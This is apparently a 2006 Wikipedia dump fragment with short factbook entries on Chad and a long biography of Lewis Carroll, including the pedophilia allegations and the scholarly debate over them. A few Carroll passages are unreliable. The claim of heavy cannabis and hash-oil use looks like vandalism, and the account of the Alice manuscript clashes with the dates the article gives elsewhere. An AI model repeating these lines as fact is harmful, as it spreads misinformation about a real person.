'''Telephones - mobile [[cellular phone]]:'''
65,000 (2003)

'''Telephone system:'''
&lt;br&gt;''general assessment:''
primitive system
&lt;br&gt;''domestic:''
fair system of [[radiotelephone]] [[communication]] stations
&lt;br&gt;''international:''
[[satellite]] earth station - 1 Intelsat (Atlantic Ocean)

'''[[Radio]] [[Broadcasting|broadcast]] stations:'''
AM 2, FM 4, shortwave 5 (2002)

'''Radios:'''
1.67 million (1997)

'''[[Television]] broadcast stations:'''
1 (1997)

'''Televisions:'''
10,000 ([[1997]])

'''Internet hosts:'''
8 (2004)

'''Internet users''':    
15,000 (2002) 

'''[[Country codes|Country code]] (Top level domain):''' .td

:''See also :'' [[Chad]]

{{CIAfb}}
 
[[Category:Communications in Chad| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Chad</title>
    <id>5335</id>
    <revision>
      <id>35665666</id>
      <timestamp>2006-01-18T11:54:34Z</timestamp>
      <contributor>
        <username>Morwen</username>
        <id>17287</id>
      </contributor>
      <comment>{{Africa in topic|Transport in}}</comment>
      <text xml:space="preserve">{{CIA}}

== Railways ==
0 km
=== Railway links with adjacent counties ===

* [[Transportation in Cameroon|Cameroon]] - no - 1000mm
* [[Transportation in the Central African Republic|Central African Republic]] - no
* [[Transportation in Niger|Niger]] - no
* [[Transportation in Nigeria|Nigeria]] - no - 1067mm
* [[Transportation in Sudan|Sudan]] - no - 1067mm

== Highways ==
''total:''
33,400 km

''paved:''
267 km
&lt;br&gt;''unpaved:''
33,133 km (1999 est.)

== Waterways ==
2,000 km navigable
&lt;br&gt;''note'': [[Chari]] and [[Logone River]]s are navigable only in wet season (2002).  Both flow northwards, from the south of Chad, into [[Lake Chad]].

== Seaports and harbors ==
none (landlocked)

== Airports ==
50 (2003 est.) 

=== Airports - with paved runways ===
''total:''
7
&lt;br&gt;''over 3,047 m:''
2
&lt;br&gt;''2,438 to 3,047 m:''
3
&lt;br&gt;''1,524 to 2,437 m:''
1
&lt;br&gt;''914 to 1,523 m:''
1
&lt;br&gt;''under 914 m:''
1 (2003 est.)

=== Airports - with unpaved runways ===
&lt;br&gt;''total:''
54
&lt;br&gt;''1,524 to 2,437 m:''
13
&lt;br&gt;''914 to 1,523 m:''
20
&lt;br&gt;''under 914 m:''
10 (2003 est.)

== See also ==
* [[Chad]]

{{CIAfb}}

{{Africa in topic|Transport in}}

[[Category:Transport in Chad| ]]
[[Category:Transportation by country|Chad]]


[[fr:Transport au Tchad]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Chad</title>
    <id>5336</id>
    <revision>
      <id>41643785</id>
      <timestamp>2006-02-28T19:23:42Z</timestamp>
      <contributor>
        <username>Aldux</username>
        <id>326243</id>
      </contributor>
      <minor />
      <text xml:space="preserve">The '''Military of Chad''' was dominated by members of [[Gourane]], [[Zaghawa]], [[Kanembou]], [[Hadjerai]], and [[Massa (African ethnic group)|Massa]] ethnic groups during the presidency of [[Hissene Habre]]. Current [[Chad]]ian president [[Idriss Déby]], a member of the minority Zaghawa-related Bidyate clan and a top military commander, revolted and fled to the [[Sudan]], taking with him many Zaghawa and Hadjerai soldiers in [[1989]]. The forces that Déby led into [[N'Djamena]] on [[December 1]], [[1990]], to oust President Habre, were mainly Zaghawa, including a large number of Sudanese, many of whom were recruited while Déby was in the bush. Déby's coalition also included a small number of Hadjerais and southerners.

Chad's armed forces numbered about 36,000 at the end of the Habre regime, but swelled to an estimated 50,000 in the early days Déby's rule. With [[France|French]] support, a reorganization of the armed forces was initiated early in 1991 with the goal is to reducing the armed forces to 25,000. An essential element of this effort was to make the ethnic composition of the armed forces reflective of the country as a whole. Neither of these goals was achieved. The military still numbers at least 30,000 men and is dominated by the Zaghawa.

War and rebellion continues to plague Chad. Following Déby's rise to power, Habre loyalists continued to fight government troops and rob civilians around [[Lake Chad]]. There were numerous small rebellions in eastern Chad, even among the Zaghawa. In the mid- and late-1990s, a rebellion in the south by the [[FARF]] delayed the promised petrol development until it was crushed by government forces. Most recently, Youssouf Togoimi and his [[Movement for Democracy and Justice]] in Chad were the most serious threat to Déby's power. Since 1998, government and rebel forces have fought with little progress on either side. In January 2002, the government and the MDJT signed a formal peace accord.

In [[2004]] that the government had discovered that many of the soldiers it was paying did not exist, and that some officers were taking these salaries for themselves; it furthermore determined that there were only about 19,000 soldiers in the army, as opposed to the 24,000 that had been previously believed. Government crackdowns against the practice are thought to have been a factor in a failed military mutiny in [[May 2004]].

'''[[Military]] branches:'''
Armed Forces (includes Ground Force, [[Chad Air Force|Air Force]], and Gendarmerie), Republican Guard, Rapid Intervention Force, Police, Rural and Nomadic Guard (GNNT)

'''Military manpower - military age:'''
20 years of age

'''Military manpower - availability:'''
&lt;br&gt;''males age 15-49:''
2,008,825 (2004 est.) 

'''Military manpower - fit for military service:'''
&lt;br&gt;''males age 15-49:''
1,051,802 (2004 est.) 

'''Military manpower - reaching military age annually:'''
&lt;br&gt;''males:''
91,231 (2004 est.) 

'''Military expenditures - dollar figure:'''
$55.4 million (2003)

'''Military expenditures - percent of GDP:'''
2.1% (2003)

==See also==
*[[Chad Air Force]]
*[[Chadian Armed Forces]]
*[[Chadian National Armed Forces]]

{{CIAfb}}
 
[[Category:Military of Chad]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Chad</title>
    <id>5337</id>
    <revision>
      <id>35312811</id>
      <timestamp>2006-01-15T21:16:42Z</timestamp>
      <contributor>
        <username>Electionworld</username>
        <id>201260</id>
      </contributor>
      <comment>template</comment>
      <text xml:space="preserve">{{Politics of Chad}}
[[Chad]] is officially non-aligned but has close relations with [[France]], the former colonial power, and other members of the [[Western world|Western]] community. It receives economic aid from countries of the European Community, the United States, and various international organizations. Libya supplies aid and has an ambassador resident in [[N'Djamena]].

Other resident diplomatic missions in N'Djamena include the embassies of France, the [[United States]], [[Egypt]], [[Algeria]], [[Iraq]], [[Sudan]], [[Germany]], the [[Central African Republic]], [[Zaire]], [[Nigeria]], the [[Republic of China]] ([[Taiwan]]), [[Cameroon]], and the [[European Economic Community]]. A number of other countries have nonresident ambassadors. In 1988, Chad recognized the [[State of Palestine]], which maintains a mission in N'Djamena. Chad has not recognized the State of [[Israel]].

With the exception of [[Libya]] and Sudan, with whom relations vary periodically, Chad has generally good rapport with its neighbors. Although relations with Libya improved with the advent of the Deby government, strains persist. Chad has been an active champion of regional cooperation through the Central African Economic and Customs Union, the Lake Chad and Niger River Basin Commissions, and the Interstate Commission for the Fight Against the Drought in the Sahel.

On December 24 2005, Chad declared itself as in a &quot;state of war&quot; with neighboring Sudan. The conflict in the border region of Darfur has become an increasingly bi-national affair as increasing numbers of Sudanese flee to refugee camps in Chad, and Sudanese government troops and militias cross the borders to strike at both these camps and specific ethnic groups.

Chad belongs to the following international organizations: 

*[[UN]] and some of its specialized and related agencies
*[[Organization for African Unity]]
*[[Central African Customs and Economic Union]] (UDEAC)
*[[African Financial Community]] (Franc Zone)
*[[Agency for the Francophone Community]]
*[[African, Caribbean and Pacific Group of States]]
*[[African Development Bank]]
*[[Central African States Development Bank]]
*[[Economic and Monetary Union of Central African]] (CEMAC)
*[[Economic Commission for Africa]]; [[G-77]]
*[[International Civil Aviation Organization]]
*[[International Confederation of Free Trade Unions]]
*[[International Red Cross and Red Crescent Movement]]
*[[International Development Association]]
*[[Islamic Development Bank]]
*[[International Fund for Agricultural Development]]
*[[International Finance Corporation]]
*[[International Federation of the Red Cross and Red Crescent Societies]]
*[[International Labour Organization]]
*[[International Monetary Fund]]
*[[Intelsat]]
*[[Interpol]]
*[[International Olympic Committee]]
*[[International Telecommunication Union]] 
*[[NAM]]; [[Organization of the Islamic Conference]] 
*[[Organization for the Prohibition of Chemical Weapons]]
*[[Universal Postal Union]]
*[[World Confederation of Labor]]
*[[World Intellectual Property Organization]];
*[[World Meteorological Organization]];
*[[World Tourism Organization]] 
*[[World Trade Organization]]
 
'''Disputes - international:'''
delimitation of international boundaries in the vicinity of [[Lake Chad]], the lack of which led to border incidents in the past, has been completed and awaits ratification by [[Cameroon]], [[Chad]], [[Niger]], and [[Nigeria]]
[[Category:Government of Chad]]
[[Category:Politics of Chad]]
[[Category:Foreign relations by country|Chad]]</text>
    </revision>
  </page>
  <page>
    <title>Chapter 3 - Struggle for Existence</title>
    <id>5338</id>
    <revision>
      <id>15903551</id>
      <timestamp>2002-10-09T14:10:48Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[The Origin of Species]]</comment>
      <text xml:space="preserve">#REDIRECT [[The Origin of Species]]</text>
    </revision>
  </page>
  <page>
    <title>Charl du Montesquieu</title>
    <id>5339</id>
    <revision>
      <id>15903552</id>
      <timestamp>2004-01-13T05:30:53Z</timestamp>
      <contributor>
        <username>Snoyes</username>
        <id>8289</id>
      </contributor>
      <minor />
      <comment>Reverted to last edit by Andre Engels</comment>
      <text xml:space="preserve">#REDIRECT [[Charles de Secondat, Baron de Montesquieu]]</text>
    </revision>
  </page>
  <page>
    <title>Lewis Carroll</title>
    <id>5340</id>
    <revision>
      <id>42132737</id>
      <timestamp>2006-03-04T01:05:34Z</timestamp>
      <contributor>
        <ip>68.170.210.45</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">[[Image:LewisCarrollSelfPhoto.jpg|thumb|right|Photograph of Lewis Carroll taken by himself, with assistance]]

'''Charles Lutwidge Dodgson''' ([[January 27]], [[1832]] &amp;ndash; [[January 14]], [[1898]]), better known by the [[pen name]] '''Lewis Carroll''', was a [[United Kingdom|British]] [[author]], [[mathematics|mathematician]], [[logic|logician]], [[Anglican]] [[clergyman]] and [[photography|photographer]].

His most famous writings are ''[[Alice's Adventures in Wonderland]]'' and its sequel ''[[Through the Looking-Glass]]'', as well as the comic poem ''[[The Hunting of the Snark]]'', and the nonsense poem [[Jabberwocky]].

His facility at [[word play]], [[logic]], and [[fantasy]] has delighted audiences ranging from the most naïve to the most sophisticated.  His works have remained popular since they were published and have influenced not only [[children's literature]], but also a number of major 20th century writers such as [[James Joyce]] and [[Jorge Luis Borges]].

There are societies dedicated to the enjoyment and promotion of Lewis Carroll's works in many parts of the world including [[North America]], [[Japan]], the [[United Kingdom]] and [[New Zealand]].

== Upbringing ==
Dodgson's family was predominantly northern [[England|English]], with some [[Ireland|Irish]] connections.  Conservative and High Church [[Anglicanism|Anglican]], most of Dodgson's ancestors belonged to the two traditional English upper-middle class professions: the army and the [[Church of England|Church]].  His great-grandfather, also Charles Dodgson, had risen through the ranks of the church to become a [[bishop]]; his grandfather, another Charles, had been an [[army]] [[captain]], killed in action in [[1803]] while his two sons were hardly more than babies.

The elder of these&amp;mdash;yet another Charles&amp;mdash;reverted to the other family business and took [[holy orders]].  He went to [[Rugby School]], and thence to [[Christ Church, Oxford]]. He was [[mathematics|mathematically]] gifted and won a double first degree which could have been the prelude to a brilliant academic career.  Instead he married his first cousin in 1827 and retired into obscurity as a country [[parson]].

Young Charles was born in the little [[parsonage]] of [[Daresbury]] in [[Warrington]], [[Cheshire]], the oldest boy but already the third child of the four-and-a-half year old marriage.  Eight more were to follow and, remarkably for the time, all of them&amp;mdash;seven girls and four boys&amp;mdash; survived into adulthood.  When Charles was 11 his father was given the living of [[Croft-on-Tees]] in north [[Yorkshire]], and the whole family moved to the spacious Rectory. This remained their home for the next 25 years.

Dodgson senior made some progress through the ranks of the church: he published some sermons, translated [[Tertullian]], became an Archdeacon of [[Ripon Cathedral]], and involved himself, sometimes influentially, in the intense religious disputes that were dividing the Anglican church.  He was High Church, inclining to [[Anglo-Catholicism]], an admirer of [[John Henry Newman|Newman]] and the [[Tractarian movement]], and he did his best to instil such views in his children.

In the early years young Charles was educated at home. His &quot;reading lists&quot; preserved in the family testify to a precocious intellect: at the age of seven the child was reading ''[[The Pilgrim's Progress]]''.  It is often said that he was naturally left-handed and suffered severe psychological trauma by being forced to counteract this tendency, but there is no documentary evidence to support this.  Charles also suffered from another disability, a stutter that often influenced his social life throughout his years.  At twelve he was sent away to a small private school at nearby Richmond, where he appears to have been happy and settled.  But in [[1845]], young Dodgson moved on to [[Rugby School]], where he was evidently less happy, for as he wrote some years after leaving the place:

&lt;blockquote&gt;''I cannot say ... that any earthly considerations would induce me to go through my three years again ... I can honestly say that if I could have been ... secure from annoyance at night, the hardships of the daily life would have been comparative trifles to bear.''&lt;/blockquote&gt;

The nature of this nocturnal 'annoyance' will probably never now be fully understood, but it may be that he is delicately referring to some form of sexual molestation.  Scholastically, though, he excelled with apparent ease.  &quot;I have not had a more promising boy his age since I came to Rugby&quot; observed R.B. Mayor, the Maths master.

== Academic life ==
He left [[Rugby_School|Rugby]] at the end of [[1850]] and, after an interval which remains unexplained, went on in January [[1851]] to [[University of Oxford|Oxford]], attending his father's old college, [[Christ Church, Oxford|Christ Church]].  He had only been at Oxford two days when he received a summons home.  His mother had died of &quot;inflammation of the brain&quot;&amp;mdash;perhaps [[meningitis]] or a [[stroke]]&amp;mdash;at the age of forty-seven.

Whatever Dodgson's feelings may have been about this [[death]], he did not allow them to distract him too much from his purpose at Oxford.  He may not always have worked hard, but he was exceptionally gifted and achievement came easily to him.  The following year he received a first in Honour Moderations, and shortly after he was nominated to a Studentship (the Christ Church equivalent of a fellowship), by his father's old friend Canon [[Edward Pusey]].

His early academic career veered between high-octane promise and irresistible distraction. Through his own laziness, he failed an important scholarship, but still his clear brilliance as a mathematician won him the Christ Church Mathematical Lectureship, which he continued to hold for the next 26 years.  The income was good, but the work bored him and his stammer hampered him.  Many of his pupils were older and richer than he was, and almost all of them were uninterested.  They didn't want to be taught; he didn't want to teach them.  Mutual apathy ruled.

At Oxford he was also diagnosed as an [[epileptic]], then a considerable social stigma to bear.  However, recently John R. Hughes,  director of the [[University of Illinois at Chicago]]'s epilepsy clinic, has argued that Carroll may have been misdiagnosed.

== Photography ==
[[Image:Alice_Liddell 2.jpg|thumb|Photo of [[Alice Liddell]] by Lewis Carroll. (1858)]]

In [[1856]], Dodgson took up the new art form of [[photography]], first under the influence of his uncle Skeffington Lutwidge, and later his Oxford friend [[Reginald Southey]] and art photography pioneer [[Oscar Rejlander]].

Dodgson soon excelled at the art, and it became an expression of his very personal inner philosophy; a belief in the divinity of what he called [[beauty]], by which he seemed to mean a state of moral or aesthetic or physical perfection.  He found this divine beauty not simply in the magic of theatre, but in the poetry of words, in a mathematical formula and perhaps supremely, in the human form; in the body-images that moved him.

When he took up photography he sought with his own representations to combine the ideals of freedom and beauty into the innocence of [[Garden of Eden|Eden]], where the human body and human contact could be enjoyed without shame.  In his [[middle age]], he was to re-form this philosophy into the pursuit of beauty as a state of Grace, a means of retrieving lost innocence. This, along with his lifelong passion for the theatre, was to bring him into confrontation with [[Victorian morality]] and his own family's High Church beliefs.  As his main biographer Morton Cohen noted... &quot;He rejected outright the [[Calvinist]] principle of [[original sin]] and replaced it with the notion of inborn divinity.&quot; 

The definitive work on his photography (Roger Taylor's ''Lewis Carroll, Photographer'' (2002) exhaustively lists every surviving print, and Taylor calculates that just over fifty percent of his surviving work depicts young girls. However it should be noted that less than a third of his original portfolio has survived (see below). His favourite girl model was [[Alexandra Kitchin]] (&quot;Xie&quot;), whom he photographed around fifty times from the age of four until the age of about 16.  In 1880 he was striving to be allowed to photograph the 16 year old Xie in 'bathing dress', but was not allowed this liberty.  Most of his girl subjects would write their name on the corner of the print in coloured ink.  It's assumed that Dodgson either destroyed or returned the nude photographs to the families of the girls he had photographed.  They were long presumed lost, but six nudes have since surfaced, four of which have been published and another two of which little is known. Dodgson's practice of photographing or sketching nude
girls has added to speculation that he was a [[pedophilia|pedophile]] (see below).  There is a clear difference between Dodgson's girls and depictions by other Victorian artists; in almost all of his solo portraits of girls they are depicted unburdened by the heavy weight of Victorian symbolism, and are simply and strongly themselves.

[[Image:Effie&amp;john.jpg|thumb|left|250px|Photo of [[John Everett Millais]] and his wife [[Effie Gray]] with two of their children, signed by Effie. (c1860)]]  He also found photography to be a useful entré into higher social circles.  Once he had a studio of his own, he made portraits of notable sitters such as [[John Everett Millais]], [[Ellen Terry]], [[Dante Gabriel Rossetti]], [[Julia Margaret Cameron]] and [[Alfred, Lord Tennyson]].  He also made some landscapes and anatomy studies.

Dodgson abruptly ceased to photograph in [[1880]]. Over 24 years he had completely mastered the medium, set up his own studio at the top of Tom Quad, and created around 3,000 images.  Less than 1000 have survived time and deliberate destruction. He spent several hours each day creating a diary detailing the circumstances surrounding the making of each photograph, but this register was later destroyed.

With the advent of [[Modernism]] tastes changed, and his photography became forgotten from around 1920 until the 1960s.  He is now considered one of the very best Victorian photographers, and is certainly the one who has had the most influence on modern [[Fine art photography|art photographers]].

== Character ==
The young adult Charles Dodgson was about six feet tall, slender and handsome in a soft-focused dreamy sort of way, with curling brown hair and blue eyes.  At the unusually late age of seventeen, he suffered a severe attack of [[whooping cough]] which left him with poor hearing in his right ear and was probably responsible for his chronically weak chest in later life.  The only overt defect he carried into adulthood was what he referred to as his &quot;hesitation&quot;&amp;mdash;a [[Stuttering|stammer]] he had acquired in early childhood and which was to plague him throughout his entire life.

The stammer has always been a potent part of the myth.  It is part of the mythology that Dodgson only stammered in adult company, and was free and fluent with children, but there is no evidence to support this idea.  Many children of his acquaintance remembered the stammer while many adults failed to notice it.  It came and went for its own reasons, but not as a clichéd manifestation of fear of the adult world.  Dodgson himself was far more acutely aware of it than most people he met; he caracatured himself as 'the Dodo' in [[Alice's_Adventures_in_Wonderland|Alice's Adventures in Wonderland]], referring to his difficulty in pronouncing his last name.  Although his stammer troubled him &amp;mdash; even obsessed him sometimes &amp;mdash; it was never bad enough to stop him using his other qualities to do well in society.

He was naturally gregarious and egoistic enough to relish attention and admiration.  At a time when people devised their own amusements and singing and recitation were required social skills, the young Dodgson was well-equipped as an engaging entertainer.  He could sing tolerably well and was not afraid to do so in front of an audience.  He was adept at mimicry and story-telling.  He was reputedly quite good at [[charades]].

There are brief hints at a soaring sense of the spiritual and the divine; small moments that reveal a rich and intensely lived inner life.  'That is a wild and beautiful bit of poetry, the song of &quot;call the cattle home&quot;,' he suddenly observed, in the midst of an analysis of [[Charles Kingsley]]'s novel ''[[Alton Locke]]'':

&lt;blockquote&gt;''I remember hearing it sung at Albrighton: I wonder if any one there could have entered into the spirit of Alton Locke.  I think not.  I think the character of most that I meet is merely refined animal... How few seem to care for the only subjects of real interest in life.''&lt;/blockquote&gt;

He was also quite socially ambitious, anxious to make his mark on the world in some way, as a writer, or as an artist.  It was perhaps the realisation that his talent as an artist was not sufficient that he eventually turned to photography.  His scholastic career was seen as something of a stop-gap to other more exciting attainments that he desired. Although he is known to have a great number of friends among his cooleagues at Oxford University, in London, he also enjoyed the company of children. The three Lidell girls were special favorites. His favorite Alice was the inspiration for Alice in &quot;Alice in Wonderland.&quot;

In the interim between his early published writing and the success of ''Alice'', he began to move in the [[Pre-Raphaelite]] social circle.  He first met [[John Ruskin]] in [[1857]] and became friendly with him.  Dodgson developed a close relationship with the [[Dante Gabriel Rossetti]] and his family, and also knew [[William Holman Hunt]], [[John Everett Millais]] and [[Arthur Hughes (artist)|Arthur Hughes]] among other artists.  He also knew the fairy-tale author [[George MacDonald]] well - it was the enthusiastic reception of &quot;Alice&quot; by the young MacDonald daughters that convinced him to submit the work for publication.

== Writing career ==
During his writing career, Carroll wrote [[poetry]] and [[short story|short stories]], sending them to various magazines and enjoying moderate success.  Between [[1854]] and [[1856]], his work appeared in the national publications, ''The Comic Times'' and ''The Train'', as well as smaller magazines like the ''[[Whitby Gazette]]'' and the ''Oxford Critic''.

Most of his output was humorous, sometimes [[satire|satirical]].  But his standards and his ambitions were exacting.  &quot;I do not think I have yet written anything worthy of real publication (in which I do not include the ''Whitby Gazette'' or the ''Oxonian Advertiser''), but I do not despair of doing so some day,&quot; he wrote in July [[1855]].  Years before ''Alice'', he was thinking up ideas for children's books that would make money: 'Christmas book [that would] sell well... Practical hints for constructing Marionettes and a theatre'.  The ideas got better as he got older, but his canny mind, with an eye to income, was always there.

In [[1856]] he published his first piece of work under the name that would make him famous.  A very predictable little romantic poem called &quot;Solitude&quot; appeared in ''The Train'' under the authorship of 'Lewis Carroll'.  This pseudonym was a play on his real name, ''Lewis'' being the anglicised form of ''Ludovicus'', which was the Latin for ''Lutwidge'', and ''Carroll'' being an [[anglicise]]d version of ''Carolus'', the Latin for ''Charles''.
[[Image:GodstowNunneryRuin20050326 CopyrightKaihsuTai.jpg|thumb|300px|The ruin of Godstow Nunnery.]]
In the same year, a new Dean, [[Henry Liddell]], arrived at Christ Church, bringing with him a young wife and children, all of whom would figure largely in Dodgson's life over the following years. He became close friends with the mother and the children, particularly the three sisters Lorina, Edith and [[Alice Liddell|Alice]] from whom it is often said he may have derived his own &quot;Alice&quot;, a suggestion backed up by the acrostic of Alice's full name that appears at the end of Through the Looking Glass, though Dodgson himself later denied his 'little heroine' was based on any real child.  It seems there became something of a tradition of his taking the girls out on the river for picnics at [[Godstow]] or [[Nuneham]].

It was on one such expedition, in [[1862]], that Dodgson invented the outline of the story that eventually became his first and largest commercial success &amp;mdash; the first Alice book. Having told the story and been begged by Alice Liddell to write it down, Dodgson eventually presented [[Alexandra Kitchin]] (&quot;Xie&quot;), daughter of the Dean of Durham, with a hand-written, illustrated manuscript entitled ''Alice's Adventures Under Ground'', dated 1887. Later he took the little book to Macmillan the publisher, who liked it immediately. After the possible alternative titles ''Alice Among the Fairies'' and ''Alice's Golden Hour'' were rejected, the work was finally published as ''[[Alice's Adventures in Wonderland]]'' in [[1865]] under the Lewis Carroll pen-name Dodgson had first used some nine years earlier. The illustrations this time were by Sir John Tenniel; Dodgson evidently realised that a published book would need the skills of a professional artist. The first edition copy of ''Alice's Adventures Under Ground'', now highly sought after by literary collectors, changed hands to a private collector on Thursday 26th January, 2006. It was sold at Christie's for a staggering £4,800 by the Duke of Gloucester, its previous owner, to pay for his father's death duties (The Sunderland Echo, 28th January, 2006).

With the immediate, phenomenal success of Alice, the story of the author's life becomes effectively divided in two: the continuing story of Dodgson's real life and the evolving myth surrounding &quot;Lewis Carroll.&quot;  Carroll quickly became a rich and detailed [[alter ego]], a persona as famous and deeply embedded in the popular psyche as the story he told.  To him belongs a large part of the image of little girls and strange otherworldliness that we know from the author of ''Alice''.

It is undisputed that throughout his growing wealth and fame, he continued to teach at Christ Church until [[1881]], and that he remained in residence there until his death.  He published ''[[Through_the_Looking-Glass|Through the Looking-Glass and what Alice Found There]]'' in [[1872]]; his great Joycean mock-epic ''[[The Hunting of the Snark]]'', in [[1876]] (inspired by and dedicated to his other great child-friend after Alice Liddell, [[Gertrude Chataway]]), and his last novel, the two-volume ''[[Sylvie and Bruno]]'', in [[1889]] and [[1893]] respectively.

He also published many mathematical papers and books under his own name.

===Other selected works===
*''An Elementary Treatise on Determinants''
*''Symbolic Logic''
* ''[[Euclid and his Modern Rivals]]''
* ''[[The Alphabet Cipher]]''
* ''[[What the Tortoise Said to Achilles]]''.
*''Hiawatha's Photographing'' (a [[parody]] of [[The Song of Hiawatha]])

==Drug use==
An allegation arose at some point that Carroll used the fungus [[ergot]], which is what [[LSD]] was eventually derived from. It can induce psychoactive experiences at large enough quantities, and was used as a medical treatment during the 19th century.  While some artists and poets have been inspired by [[hallucinogenic drugs]], there is no factual evidence for the allegation that Carroll took psychoactive drugs.
However, Carroll was a fairly heavy [[cannabis]] smoker[http://www.politics.co.uk/issues/cannabis-$2073002.htm]. According to one source, he regularly bought [[hash oil]], which was legal at the time.

==Allegations of pedophilia==
Dodgson&amp;#8217;s undeniable fondness for little girls, the sheer number of his child friends, his collection of the early child photographs by [[Oscar Rejlander]], his love of the London theatres before the child-actress reforms, and psychological readings of his work &amp;mdash; especially his photographs of nude or semi-nude girls and his sketchbooks featuring his own drawings of such &amp;mdash; have all led to speculation that he was a pedophile, albeit probably a celibate one.

The issue has been contentious, with some arguing that child nudes were not uncommon during the era. Other notable Victorian-era photographers who took images of nude children include [[Julia Margaret Cameron]] and [[Francis Meadow Sutcliffe]].

According to the 'controversial' investigation by [[Karoline Leach]] into what she calls the 'Carroll Myth' (see below), the first hints of allegations that Dodgson was a pedophile seem to have appeared in [[1932]], in ''[[The Life of Lewis Carroll]]'' by [[Langford Reed]].  According to Leach, Reed was the first to claim that all of Carroll's female friendships ended when the girls reached [[puberty]] (around 16 in [[1870s]] England), though Reed apparently only intended to suggest that Dodgson was thereby a pure man untainted by touch of lust for adult flesh.  This claim that Dodgson lost interest in girls once they reached puberty was later caught up by other biographers, who remained unaware of the evidence to the contrary since Dodgson's family refused to publish his diaries and letters.

The view of Dodgson as having no adult life and being preoccupied with children persisted among his biographers, including [[Florence Becker Lennon]] (''[[Victoria Through the Looking-Glass]]'' - UK title &quot;[[Lewis Carroll]]&quot;), [[1945]]) and the highly influential [[Alexander Taylor]] (''[[The White Knight]]'', [[1952]]).  The debate tended to veer between those who believed Dodgson to have been asexually obsessed with children and those who believed this obsession to have been pedophilic.

The issue was rekindled in [[1995]] with the authoritative ''[[Lewis Carroll, a Biography]]'' by [[Morton Cohen]].  Cohen writes:
&lt;blockquote&gt;''&quot;We cannot know to what extent sexual urges lay behind Charles's preference for drawing and photographing children in the nude.  He contended the preference was entirely [[aesthetic]].  But given his emotional attachment to children as well as his aesthetic appreciation of their forms, his assertion that his interest was strictly artistic is naïve.  He probably felt more than he dared acknowledge, even to himself.  Certainly he always sought to have another adult present when nude prepubescents modelled for him.&quot;''&lt;/blockquote&gt;
Cohen further notes that the children's mothers were encouraged to be present, and asks if these precautions were the result of Dodgson &quot;insuring himself against slip-ups.&quot; (p 228&amp;ndash;229) Cohen concedes that Dodgson &quot;apparently convinced many of his friends that his attachment to the nude female child form was free of any [[erotic]]ism,&quot; but adds that &quot;later generations look beneath the surface&quot; (p 229).

The only recorded instance of trouble associated with the nudes of children was Dodgson's experience with the Mayhew family.  In [[1879]], Dodgson wrote what have been called by Cohen &quot;several curious letters ... to the family of [[Andrew Mayhew]], an Oxford colleague ... He asked permission to take nude photographs of the three Mayhew daughters, ages 6, 11, and 13, with no other adults present.&quot;   The Mayhew parents, who had previously allowed Dodgson to photograph their children, refused, and Cohen notes this same period saw a &quot;sudden break in the friendship&quot; between Dodgson and the Mayhew family (p. 170).  Leach suggests that the problem lay with his desire to study the older daughters in frontal positions and not with the younger children.

===Karoline Leach's work and the 'Carroll Myth'===
A new analysis of Dodgson's sexual proclivities  (and indeed the evolution of the entire process of his biography) appears in [[Karoline Leach]]'s [[1999]] book, ''In the Shadow of the Dreamchild''.  She claims that the image of Dodgson's alleged pedophilia was built out of a failure to understand Victorian morals, as well as the mistaken idea that Dodgson had no interest in adult women which evolved out of the minds of various biographers.  She termed this simplified, often frankly fictional image 'the Carroll Myth'.

According to Leach, who cites much [[prima facie]] evidence, Dodgson's real life was very different from the accepted biographical image.  He was in fact keenly interested in adult women and apparently enjoyed several relationships with women, married and single. Some of these were his child friends with whom he retained good relations into adulthood (in complete refutation of the mythic idea that he 'lost interest' in any girl over the age of 14), but others &amp;mdash; like [[Catherine Lloyd]], [[Constance Burch]], [[Edith Shute]], [[Gertrude Thomson]] (to name but a few) &amp;mdash; were women he met as adults and with whom he shared very close and meaningful friendships. Suggestions of pedophilia only evolved many years after his death, when his well-meaning family had suppressed all evidence of these adult friendships in order to try to preserve his reputation, thus giving a false impression of a man only interested in little girls.  This may serve to repudiate
some of the classical evidence for the claims of pedophilia, though some pedophiles are sexually interested in both adults and children.

Dodgson's problems with societal disapproval, Leach says, stemmed not from his usage of nude child models but his attempts to get slightly older models to pose in 'bathing dress' and other immodest clothing. These studies of scantily-dressed older models have all disappeared, leaving commentators only the photos of young girls to comment on.

In a review of the title in ''[[Victorian Studies]]'' (Vol.43, No.4) reviewer [[Donald Rackin]] wrote, &quot;As a piece of biographical scholarship, [[Karoline Leach]]'s [[In the Shadow of the Dreamchild]] is difficult to take seriously&quot;. However, for all the emotional intensity of his attack, he visibly failed to detail any actual errors in her work.  Nor have any errors been pointed out so far by any other authorities, and many now regard her work as an important step towards a better understanding of Carroll.  Her work has been paralleled by that of [[Hugues Lebailly]] whose studies of Dodgson's artistic and social interests also support the idea that  the image of his 'obsession' with little girls was largely simplistic or mythic in origin.

==Jack the Ripper theories==
Many wild theories have been woven around the life of Lewis Carroll.  Perhaps the most extreme emerged in [[1996]] when author [[Richard Wallace (author)|Richard Wallace]] published a book titled ''[[Jack the Ripper, Light-Hearted Friend]]'' accusing Lewis Carroll and his colleague [[Thomas Vere Bayne]] of being [[Jack the Ripper]].  It was largely based upon [[anagram]]s Wallace constructed from Carroll's writing.  Carroll and Bayne have strong alibis for most of the nights of the Ripper murders, and Wallace's theory has not found support from other scholars.

Carroll did show some interest in the Jack the Ripper case, but this is hardly unusual, given the profound publicity surrounding the crimes.  A passage in his [[diary]] dated [[August 26]], [[1891]], reports that he spoke that day with an acquaintance of his about his &quot;very ingenious theory about 'Jack the Ripper'&quot;.  No other information about this theory has been found.

==Inventions==
Lewis Carroll seems to have thought a lot about how to solve some common technical problems of the day.  The fact that he was able to understand and use new technologies is amply demonstrated by his use of the camera, which was not as user-friendly as it is today.

One such invention, as cited in his journal on [[September 24]], [[1891]] and as published in, was a system of writing called [[Nyctography]] and a tool called the [[Nyctograph]].  He invented this because he would be unable to sleep at night and would want to write down his ideas to clear his head.  But, wanting to go quickly back to bed, he did not want to go through all the mechanical steps involved in lighting a lamp.  He designed a card with square holes in a regular grid.  One would always make a dot in the upper-left corner and then make other dots and/or strokes.  These symbols were designed to look somewhat like the letters or numbers they represented.  This did not seem to be used for any longer writings, since no writings with these symbols survive.  But it is probable that Lewis Carroll himself would use this to make short notes to jog his memory, and then he would probably write the idea out in his journal.
He also invented the pencil and paper game [[Word Ladder]].

==References==
